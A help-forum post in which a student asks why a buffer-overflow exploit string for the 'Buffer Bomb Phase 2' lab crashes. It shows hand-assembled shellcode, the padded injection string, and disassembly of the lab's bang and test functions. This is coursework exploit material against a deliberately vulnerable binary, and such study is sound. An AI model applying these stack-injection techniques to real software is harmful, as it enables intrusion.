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9.7

Buffer Bomb Phase 2

Asked by ruevaughn in Assembly Programming Language

Tags: machine language

Hey again! Think I almost got this one done... Heres my exploit string so far..

0: c7 05 dc a1 04 08 b7 movl $0x779635b7,0x804a1dc
7: 35 96 77
a: e8 5c 8d 04 08 call 0x8048d6b

779635b7 is my cookie, and 0x804a1dc is the global_value, and than I am calling bang... so I do not understand why this will not work.
I enter the exploit string as
01 02 03 04 05 ... 21 23 24 (the overflow starts after this point) c7 05 dc a1 04 08 b7 35 96 77 e8 5c 8d 04 08.

Why am I getting a segmentation fault?

On a side note... Infinity, how did you learn this so well? Might as well get to know you a little :)

Get your answer NOW

         
           
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             08048d60 <bang>:
 8048d60:	55                   	push   %ebp
 8048d61:	89 e5                	mov    %esp,%ebp
 8048d63:	83 ec 08             	sub    $0x8,%esp
 8048d66:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048d6d:	e8 2e fc ff ff       	call   80489a0 <entry_check>
 8048d72:	a1 dc a1 04 08       	mov    0x804a1dc,%eax
 8048d77:	3b 05 cc a1 04 08    	cmp    0x804a1cc,%eax
 8048d7d:	74 21                	je     8048da0 <bang+0x40>
 8048d7f:	89 44 24 04          	mov    %eax,0x4(%esp)
 8048d83:	c7 04 24 0f 9a 04 08 	movl   $0x8049a0f,(%esp)
 8048d8a:	e8 d5 f9 ff ff       	call   8048764 <printf@plt>
 8048d8f:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048d96:	e8 09 fa ff ff       	call   80487a4 <exit@plt>
 8048d9b:	90                   	nop    
 8048d9c:	8d 74 26 00          	lea    0x0(%esi),%esi
 8048da0:	89 44 24 04          	mov    %eax,0x4(%esp)
 8048da4:	c7 04 24 70 98 04 08 	movl   $0x8049870,(%esp)
 8048dab:	e8 b4 f9 ff ff       	call   8048764 <printf@plt>
 8048db0:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048db7:	e8 24 fd ff ff       	call   8048ae0 <validate>
 8048dbc:	eb d1                	jmp    8048d8f <bang+0x2f>
 8048dbe:	89 f6                	mov    %esi,%esi
------------------------------------------------------------------------------
08049000 <test>:
 8049000:	55                   	push   %ebp
 8049001:	89 e5                	mov    %esp,%ebp
 8049003:	83 ec 18             	sub    $0x18,%esp
 8049006:	c7 45 fc ef be ad de 	movl   $0xdeadbeef,-0x4(%ebp)
 804900d:	c7 04 24 03 00 00 00 	movl   $0x3,(%esp)
 8049014:	e8 87 f9 ff ff       	call   80489a0 <entry_check>
 8049019:	e8 c2 ff ff ff       	call   8048fe0 <getbuf>
 804901e:	89 c2                	mov    %eax,%edx
 8049020:	8b 45 fc             	mov    -0x4(%ebp),%eax
 8049023:	3d ef be ad de       	cmp    $0xdeadbeef,%eax
 8049028:	74 0e                	je     8049038 <test+0x38>
 804902a:	c7 04 24 b8 98 04 08 	movl   $0x80498b8,(%esp)
 8049031:	e8 de f6 ff ff       	call   8048714 <puts@plt>
 8049036:	c9                   	leave  
 8049037:	c3                   	ret    
 8049038:	3b 15 cc a1 04 08    	cmp    0x804a1cc,%edx
 804903e:	74 12                	je     8049052 <test+0x52>
 8049040:	89 54 24 04          	mov    %edx,0x4(%esp)
 8049044:	c7 04 24 9f 9a 04 08 	movl   $0x8049a9f,(%esp)
 804904b:	e8 14 f7 ff ff       	call   8048764 <printf@plt>
 8049050:	c9                   	leave  
 8049051:	c3                   	ret    
 8049052:	89 54 24 04          	mov    %edx,0x4(%esp)
 8049056:	c7 04 24 82 9a 04 08 	movl   $0x8049a82,(%esp)
 804905d:	e8 02 f7 ff ff       	call   8048764 <printf@plt>
 8049062:	c7 04 24 03 00 00 00 	movl   $0x3,(%esp)
 8049069:	e8 72 fa ff ff       	call   8048ae0 <validate>
 804906e:	c9                   	leave  
 804906f:	c3                   	ret

           
         

Buffer Bomb Phase 2

Asked by ruevaughn in Assembly Programming Language

Tags: machine language

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